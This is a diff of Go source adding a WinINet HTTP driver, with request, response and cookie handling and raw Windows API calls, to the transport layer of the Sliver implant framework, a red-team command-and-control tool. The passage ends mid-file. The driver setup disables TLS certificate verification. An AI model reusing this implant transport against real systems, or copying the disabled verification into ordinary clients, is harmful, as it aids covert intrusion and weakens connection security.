||||
|
||||
// ErrNoCookie is returned by Request's Cookie method when a cookie is
|
||||
// not found.
|
||||
var ErrNoCookie = errors.New("named cookie not present")
|
||||
|
||||
// Common HTTP methods.
|
||||
const (
|
||||
MethodConnect string = "CONNECT"
|
||||
MethodDelete string = "DELETE"
|
||||
MethodGet string = "GET"
|
||||
MethodHead string = "HEAD"
|
||||
MethodOptions string = "OPTIONS"
|
||||
MethodPatch string = "PATCH"
|
||||
MethodPost string = "POST"
|
||||
MethodPut string = "PUT"
|
||||
MethodTrace string = "TRACE"
|
||||
)
|
||||
@@ -0,0 +1,55 @@
|
||||
package wininet
|
||||
|
||||
// Request is a struct containing common HTTP request data.
|
||||
type Request struct {
|
||||
Body []byte
|
||||
cookies []*Cookie
|
||||
Headers map[string]string
|
||||
Method string
|
||||
URL string
|
||||
}
|
||||
|
||||
// NewRequest will return a pointer to a new Request instasnce.
|
||||
func NewRequest(method, url string, body ...[]byte) *Request {
|
||||
var b []byte
|
||||
|
||||
if len(body) > 0 {
|
||||
b = body[0]
|
||||
}
|
||||
|
||||
return &Request{
|
||||
Body: b,
|
||||
Headers: map[string]string{},
|
||||
Method: method,
|
||||
URL: url,
|
||||
}
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Request) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Request or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Request) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Request.
|
||||
func (r *Request) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package wininet
|
||||
|
||||
import "io"
|
||||
|
||||
// Response is a struct containing common HTTP response data.
|
||||
type Response struct {
|
||||
Body io.ReadCloser
|
||||
cookies []*Cookie
|
||||
ContentLength int64
|
||||
Header map[string][]string
|
||||
Proto string
|
||||
ProtoMajor int
|
||||
ProtoMinor int
|
||||
Status string
|
||||
StatusCode int
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Response) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Response or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Response) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Response.
|
||||
func (r *Response) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func convertFail(str string, e error) error {
|
||||
return fmt.Errorf(
|
||||
"failed to convert %s to Windows type: %w",
|
||||
str,
|
||||
e,
|
||||
)
|
||||
}
|
||||
|
||||
func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
|
||||
var connHndl uintptr
|
||||
var e error
|
||||
var flags uintptr
|
||||
var passwd string
|
||||
var port int64
|
||||
var query string
|
||||
var reqHndl uintptr
|
||||
var uri *url.URL
|
||||
|
||||
// Parse URL
|
||||
if uri, e = url.Parse(r.URL); e != nil {
|
||||
return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, e)
|
||||
}
|
||||
|
||||
passwd, _ = uri.User.Password()
|
||||
|
||||
if uri.Port() != "" {
|
||||
if port, e = strconv.ParseInt(uri.Port(), 10, 64); e != nil {
|
||||
e = fmt.Errorf("port %s invalid: %w", uri.Port(), e)
|
||||
return 0, e
|
||||
}
|
||||
}
|
||||
|
||||
switch uri.Scheme {
|
||||
case "https":
|
||||
flags = InternetFlagSecure
|
||||
}
|
||||
|
||||
// Create connection
|
||||
connHndl, e = InternetConnectW(
|
||||
sessionHndl,
|
||||
uri.Hostname(),
|
||||
int(port),
|
||||
uri.User.Username(),
|
||||
passwd,
|
||||
InternetServiceHTTP,
|
||||
flags,
|
||||
0,
|
||||
)
|
||||
if e != nil {
|
||||
return 0, fmt.Errorf("failed to create connection: %w", e)
|
||||
}
|
||||
|
||||
// Send query string too
|
||||
if uri.RawQuery != "" {
|
||||
query = "?" + uri.RawQuery
|
||||
}
|
||||
|
||||
// Allow NTLM auth
|
||||
flags |= InternetFlagKeepConnection
|
||||
|
||||
// Create HTTP request
|
||||
reqHndl, e = HTTPOpenRequestW(
|
||||
connHndl,
|
||||
r.Method,
|
||||
uri.Path+query,
|
||||
"",
|
||||
"",
|
||||
[]string{},
|
||||
flags,
|
||||
0,
|
||||
)
|
||||
if e != nil {
|
||||
return 0, fmt.Errorf("failed to open request: %w", e)
|
||||
}
|
||||
|
||||
return reqHndl, nil
|
||||
}
|
||||
|
||||
var cookies []*Cookie
|
||||
|
||||
func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
|
||||
var b []byte
|
||||
var body io.ReadCloser
|
||||
var code int64
|
||||
var contentLen int64
|
||||
var e error
|
||||
var hdrs map[string][]string
|
||||
var major int
|
||||
var minor int
|
||||
var proto string
|
||||
var res *Response
|
||||
var status string
|
||||
|
||||
// Get status code
|
||||
b, e = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
|
||||
status = string(b)
|
||||
if code, e = strconv.ParseInt(status, 10, 64); e != nil {
|
||||
return nil, fmt.Errorf("status %s invalid: %w", status, e)
|
||||
}
|
||||
|
||||
// Get status text
|
||||
b, e = queryResponse(reqHndl, HTTPQueryStatusText, 0)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
} else if len(b) > 0 {
|
||||
status += " " + string(b)
|
||||
}
|
||||
|
||||
// Parse cookies
|
||||
cookies = getCookies(reqHndl)
|
||||
|
||||
// Parse headers and proto
|
||||
if proto, major, minor, hdrs, e = getHeaders(reqHndl); e != nil {
|
||||
return nil, e
|
||||
}
|
||||
|
||||
// Read response body
|
||||
if body, contentLen, e = readResponse(reqHndl); e != nil {
|
||||
return nil, e
|
||||
}
|
||||
|
||||
res = &Response{
|
||||
Body: body,
|
||||
ContentLength: contentLen,
|
||||
Header: hdrs,
|
||||
Proto: proto,
|
||||
ProtoMajor: major,
|
||||
ProtoMinor: minor,
|
||||
Status: status,
|
||||
StatusCode: int(code),
|
||||
}
|
||||
|
||||
// Concat all cookies
|
||||
for _, c := range req.Cookies() {
|
||||
res.AddCookie(c)
|
||||
}
|
||||
|
||||
for _, c := range cookies {
|
||||
res.AddCookie(c)
|
||||
}
|
||||
|
||||
return res, nil
|
||||
}
|
||||
|
||||
func getCookies(reqHndl uintptr) []*Cookie {
|
||||
var b []byte
|
||||
var cookies []*Cookie
|
||||
var e error
|
||||
var tmp []string
|
||||
|
||||
// Get cookies
|
||||
for i := 0; ; i++ {
|
||||
b, e = queryResponse(
|
||||
reqHndl,
|
||||
HTTPQuerySetCookie,
|
||||
i,
|
||||
)
|
||||
if e != nil {
|
||||
break
|
||||
}
|
||||
|
||||
tmp = strings.SplitN(string(b), "=", 2)
|
||||
cookies = append(
|
||||
cookies,
|
||||
&Cookie{Name: tmp[0], Value: tmp[1]},
|
||||
)
|
||||
}
|
||||
|
||||
return cookies
|
||||
}
|
||||
|
||||
func getHeaders(
|
||||
reqHndl uintptr,
|
||||
) (string, int, int, map[string][]string, error) {
|
||||
var b []byte
|
||||
var e error
|
||||
var hdrs = map[string][]string{}
|
||||
var major int64
|
||||
var minor int64
|
||||
var proto string
|
||||
var tmp []string
|
||||
|
||||
// Get headers
|
||||
b, e = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
|
||||
if e != nil {
|
||||
return "", 0, 0, nil, e
|
||||
}
|
||||
|
||||
for _, hdr := range strings.Split(string(b), "\r\n") {
|
||||
tmp = strings.SplitN(hdr, ": ", 2)
|
||||
|
||||
if len(tmp) == 2 {
|
||||
if _, ok := hdrs[tmp[0]]; !ok {
|
||||
hdrs[tmp[0]] = []string{}
|
||||
}
|
||||
|
||||
hdrs[tmp[0]] = append(hdrs[tmp[0]], tmp[1])
|
||||
} else if strings.HasPrefix(hdr, "HTTP") {
|
||||
proto = strings.Fields(hdr)[0]
|
||||
tmp = strings.Split(proto, ".")
|
||||
|
||||
if len(tmp) >= 2 {
|
||||
tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
|
||||
|
||||
major, e = strconv.ParseInt(tmp[0], 10, 64)
|
||||
if e != nil {
|
||||
e = fmt.Errorf("invalid HTTP version: %w", e)
|
||||
return "", 0, 0, nil, e
|
||||
}
|
||||
|
||||
minor, e = strconv.ParseInt(tmp[1], 10, 64)
|
||||
if e != nil {
|
||||
e = fmt.Errorf("invalid HTTP version: %w", e)
|
||||
return "", 0, 0, nil, e
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return proto, int(major), int(minor), hdrs, nil
|
||||
}
|
||||
|
||||
func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
|
||||
var buffer []byte
|
||||
var e error
|
||||
var size int
|
||||
|
||||
if idx < 0 {
|
||||
idx = 0
|
||||
}
|
||||
|
||||
e = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
|
||||
if e != nil {
|
||||
buffer = make([]byte, size)
|
||||
|
||||
e = HTTPQueryInfoW(
|
||||
reqHndl,
|
||||
info,
|
||||
&buffer,
|
||||
&size,
|
||||
&idx,
|
||||
)
|
||||
if e != nil {
|
||||
e = fmt.Errorf("failed to query info: %w", e)
|
||||
return []byte{}, e
|
||||
}
|
||||
}
|
||||
|
||||
return buffer, nil
|
||||
}
|
||||
|
||||
func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
|
||||
var b []byte
|
||||
var chunk []byte
|
||||
var chunkLen int64
|
||||
var contentLen int64
|
||||
var e error
|
||||
var n int64
|
||||
|
||||
// Get Content-Length and body of response
|
||||
for {
|
||||
// Get next chunk size
|
||||
e = InternetQueryDataAvailable(reqHndl, &chunkLen)
|
||||
if e != nil {
|
||||
e = fmt.Errorf("failed to query data available: %w", e)
|
||||
break
|
||||
}
|
||||
|
||||
// Stop, if finished
|
||||
if chunkLen == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
// Read next chunk
|
||||
e = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
|
||||
if e != nil {
|
||||
e = fmt.Errorf("failed to read data: %w", e)
|
||||
break
|
||||
}
|
||||
|
||||
// Update fields
|
||||
contentLen += chunkLen
|
||||
b = append(b, chunk...)
|
||||
}
|
||||
|
||||
if e != nil {
|
||||
return nil, 0, e
|
||||
}
|
||||
|
||||
return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
|
||||
}
|
||||
|
||||
func sendRequest(reqHndl uintptr, r *Request) error {
|
||||
var e error
|
||||
var method uintptr
|
||||
|
||||
// Process cookies
|
||||
method = HTTPAddreqFlagAdd
|
||||
// FIXME why doesn't this work here?!
|
||||
// method |= HTTPAddreqFlagCoalesceWithSemicolon
|
||||
|
||||
// FIXME This is a dumb hack
|
||||
HTTPAddRequestHeadersW(
|
||||
reqHndl,
|
||||
"Cookie: ignore=ignore",
|
||||
HTTPAddreqFlagAddIfNew,
|
||||
)
|
||||
// End dumb hack
|
||||
|
||||
for _, c := range r.Cookies() {
|
||||
e = HTTPAddRequestHeadersW(
|
||||
reqHndl,
|
||||
"Cookie: "+c.Name+"="+c.Value,
|
||||
method,
|
||||
)
|
||||
if e != nil {
|
||||
return fmt.Errorf("failed to add cookies: %w", e)
|
||||
}
|
||||
}
|
||||
|
||||
// Process headers
|
||||
method = HTTPAddreqFlagAdd
|
||||
method |= HTTPAddreqFlagReplace
|
||||
|
||||
for k, v := range r.Headers {
|
||||
e = HTTPAddRequestHeadersW(
|
||||
reqHndl,
|
||||
k+": "+v,
|
||||
method,
|
||||
)
|
||||
if e != nil {
|
||||
return fmt.Errorf("failed to add request headers: %w", e)
|
||||
}
|
||||
}
|
||||
|
||||
// Send HTTP request
|
||||
e = HTTPSendRequestW(
|
||||
reqHndl,
|
||||
"",
|
||||
0,
|
||||
r.Body,
|
||||
len(r.Body),
|
||||
)
|
||||
if e != nil {
|
||||
return fmt.Errorf("failed to send request: %w", e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
package wininet
|
||||
|
||||
//go:generate go run ../tools/defines.go wininet /usr/x86_64-w64-mingw32/include/wininet.h
|
||||
@@ -0,0 +1,416 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var wininet *windows.LazyDLL = windows.NewLazySystemDLL("Wininet")
|
||||
|
||||
// HTTPAddRequestHeadersW is from wininet.h
|
||||
func HTTPAddRequestHeadersW(
|
||||
reqHndl uintptr,
|
||||
header string,
|
||||
addMethod uintptr,
|
||||
) error {
|
||||
var e error
|
||||
var ok uintptr
|
||||
var proc string = "HttpAddRequestHeadersW"
|
||||
var pswzHeader uintptr
|
||||
var tmp *uint16
|
||||
|
||||
if header == "" {
|
||||
// Weird, just do nothing
|
||||
return nil
|
||||
}
|
||||
|
||||
header = strings.TrimSpace(header) + "\r\n"
|
||||
|
||||
// Convert to Windows types
|
||||
if tmp, e = windows.UTF16PtrFromString(header); e != nil {
|
||||
return convertFail(header, e)
|
||||
}
|
||||
|
||||
pswzHeader = uintptr(unsafe.Pointer(tmp))
|
||||
|
||||
ok, _, e = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
pswzHeader,
|
||||
uintptr(len(header)),
|
||||
addMethod,
|
||||
)
|
||||
if ok == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// HTTPOpenRequestW is from wininet.h
|
||||
func HTTPOpenRequestW(
|
||||
connHndl uintptr,
|
||||
verb string,
|
||||
objectName string,
|
||||
version string,
|
||||
referrer string,
|
||||
acceptTypes []string,
|
||||
flags uintptr,
|
||||
context uintptr,
|
||||
) (uintptr, error) {
|
||||
var e error
|
||||
var lpcwstrObjectName uintptr
|
||||
var lpcwstrReferrer uintptr
|
||||
var lpcwstrVerb uintptr
|
||||
var lpcwstrVersion uintptr
|
||||
var lplpcwstrAcceptTypes []*uint16
|
||||
var proc string = "HttpOpenRequestW"
|
||||
var reqHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
lplpcwstrAcceptTypes = make([]*uint16, 1)
|
||||
for _, theType := range acceptTypes {
|
||||
if theType == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tmp, e = windows.UTF16PtrFromString(theType)
|
||||
if e != nil {
|
||||
return 0, convertFail(theType, e)
|
||||
}
|
||||
|
||||
lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
|
||||
}
|
||||
|
||||
if objectName != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
|
||||
return 0, convertFail(objectName, e)
|
||||
}
|
||||
|
||||
lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if referrer != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
|
||||
return 0, convertFail(referrer, e)
|
||||
}
|
||||
|
||||
lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if verb != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
|
||||
return 0, convertFail(verb, e)
|
||||
}
|
||||
|
||||
lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if version != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(version); e != nil {
|
||||
return 0, convertFail(version, e)
|
||||
}
|
||||
|
||||
lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
reqHndl, _, e = wininet.NewProc(proc).Call(
|
||||
connHndl,
|
||||
lpcwstrVerb,
|
||||
lpcwstrObjectName,
|
||||
lpcwstrVersion,
|
||||
lpcwstrReferrer,
|
||||
uintptr(unsafe.Pointer(&lplpcwstrAcceptTypes[0])),
|
||||
flags,
|
||||
context,
|
||||
)
|
||||
if reqHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return reqHndl, nil
|
||||
}
|
||||
|
||||
// HTTPQueryInfoW is from wininet.h
|
||||
func HTTPQueryInfoW(
|
||||
reqHndl uintptr,
|
||||
info uintptr,
|
||||
buffer *[]byte,
|
||||
bufferLen *int,
|
||||
index *int,
|
||||
) error {
|
||||
var b []uint16
|
||||
var e error
|
||||
var proc string = "HttpQueryInfoW"
|
||||
var success uintptr
|
||||
var tmp string
|
||||
|
||||
if *bufferLen > 0 {
|
||||
b = make([]uint16, *bufferLen)
|
||||
} else {
|
||||
b = make([]uint16, 1)
|
||||
}
|
||||
|
||||
success, _, e = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
info,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(unsafe.Pointer(bufferLen)),
|
||||
uintptr(unsafe.Pointer(index)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
tmp = windows.UTF16ToString(b)
|
||||
*buffer = []byte(tmp)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// HTTPSendRequestW is from wininet.h
|
||||
func HTTPSendRequestW(
|
||||
reqHndl uintptr,
|
||||
headers string,
|
||||
headersLen int,
|
||||
data []byte,
|
||||
dataLen int,
|
||||
) error {
|
||||
var body uintptr
|
||||
var e error
|
||||
var lpcwstrHeaders uintptr
|
||||
var proc string = "HttpSendRequestW"
|
||||
var success uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Pointer to data if provided
|
||||
if (data != nil) && (len(data) > 0) {
|
||||
body = uintptr(unsafe.Pointer(&data[0]))
|
||||
}
|
||||
|
||||
// Convert to Windows types
|
||||
if headersLen > 0 {
|
||||
if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
|
||||
return convertFail(headers, e)
|
||||
}
|
||||
|
||||
lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
success, _, e = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
lpcwstrHeaders,
|
||||
uintptr(headersLen),
|
||||
body,
|
||||
uintptr(dataLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetConnectW is from wininet.h
|
||||
func InternetConnectW(
|
||||
sessionHndl uintptr,
|
||||
serverName string,
|
||||
serverPort int,
|
||||
username string,
|
||||
password string,
|
||||
service uintptr,
|
||||
flags uintptr,
|
||||
context uintptr,
|
||||
) (uintptr, error) {
|
||||
var connHndl uintptr
|
||||
var e error
|
||||
var lpcwstrServerName uintptr
|
||||
var lpcwstrUserName uintptr
|
||||
var lpcwstrPassword uintptr
|
||||
var proc string = "InternetConnectW"
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if password != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(password); e != nil {
|
||||
return 0, convertFail(password, e)
|
||||
}
|
||||
|
||||
lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if serverName != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
|
||||
return 0, convertFail(serverName, e)
|
||||
}
|
||||
|
||||
lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if username != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(username); e != nil {
|
||||
return 0, convertFail(username, e)
|
||||
}
|
||||
|
||||
lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
connHndl, _, e = wininet.NewProc(proc).Call(
|
||||
sessionHndl,
|
||||
lpcwstrServerName,
|
||||
uintptr(serverPort),
|
||||
lpcwstrUserName,
|
||||
lpcwstrPassword,
|
||||
service,
|
||||
flags,
|
||||
context,
|
||||
)
|
||||
if connHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return connHndl, nil
|
||||
}
|
||||
|
||||
// InternetOpenW is from wininet.h
|
||||
func InternetOpenW(
|
||||
userAgent string,
|
||||
accessType uintptr,
|
||||
proxy string,
|
||||
proxyBypass string,
|
||||
flags uintptr,
|
||||
) (uintptr, error) {
|
||||
var e error
|
||||
var lpszAgent uintptr
|
||||
var lpszProxy uintptr
|
||||
var lpszProxyBypass uintptr
|
||||
var proc string = "InternetOpenW"
|
||||
var sessionHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if userAgent != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
|
||||
return 0, convertFail(userAgent, e)
|
||||
}
|
||||
|
||||
lpszAgent = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxy != "" {
|
||||
if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
|
||||
return 0, convertFail(proxy, e)
|
||||
}
|
||||
|
||||
lpszProxy = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxyBypass != "" {
|
||||
tmp, e = windows.UTF16PtrFromString(proxyBypass)
|
||||
if e != nil {
|
||||
return 0, convertFail(proxyBypass, e)
|
||||
}
|
||||
|
||||
lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
sessionHndl, _, e = wininet.NewProc(proc).Call(
|
||||
lpszAgent,
|
||||
accessType,
|
||||
lpszProxy,
|
||||
lpszProxyBypass,
|
||||
flags,
|
||||
)
|
||||
if sessionHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return sessionHndl, nil
|
||||
}
|
||||
|
||||
// InternetQueryDataAvailable is from wininet.h
|
||||
func InternetQueryDataAvailable(
|
||||
reqHndl uintptr,
|
||||
bytesAvailable *int64,
|
||||
) error {
|
||||
var e error
|
||||
var proc string = "InternetQueryDataAvailable"
|
||||
var success uintptr
|
||||
|
||||
success, _, e = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(bytesAvailable)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetReadFile is from wininet.h
|
||||
func InternetReadFile(
|
||||
reqHndl uintptr,
|
||||
buffer *[]byte,
|
||||
bytesToRead int64,
|
||||
bytesRead *int64,
|
||||
) error {
|
||||
var b []byte
|
||||
var e error
|
||||
var proc string = "InternetReadFile"
|
||||
var success uintptr
|
||||
|
||||
if bytesToRead > 0 {
|
||||
b = make([]byte, bytesToRead)
|
||||
} else {
|
||||
b = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, e = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(bytesToRead),
|
||||
uintptr(unsafe.Pointer(bytesRead)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
*buffer = b
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetSetOptionW is from wininet.h
|
||||
func InternetSetOptionW(
|
||||
hndl uintptr,
|
||||
opt uintptr,
|
||||
val []byte,
|
||||
valLen int,
|
||||
) error {
|
||||
var e error
|
||||
var proc string = "InternetSetOptionW"
|
||||
var success uintptr
|
||||
|
||||
// Pointer to data if provided
|
||||
if valLen == 0 {
|
||||
val = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, e = wininet.NewProc(proc).Call(
|
||||
hndl,
|
||||
opt,
|
||||
uintptr(unsafe.Pointer(&val[0])),
|
||||
uintptr(valLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, e)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
//go:build !windows
|
||||
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/winhttp"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using go http driver")
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
case winHTTPDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using winhttp driver")
|
||||
// {{end}}
|
||||
return WinHTTPDriver(origin, secure, opts)
|
||||
|
||||
case wininetDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using wininet driver")
|
||||
// {{end}}
|
||||
return WininetDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
|
||||
// WinHTTPDriver - Initialize a WinHTTP driver (Windows only)
|
||||
func WinHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
winhttpClient, err := winhttp.NewClient(userAgent)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
winhttpClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
return winhttpClient, nil
|
||||
}
|
||||
|
||||
// WininetDriver - Initialize a WinHTTP driver (Windows only)
|
||||
func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
wininetClient, err := wininet.NewClient(userAgent)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
wininetClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
return wininetClient, nil
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
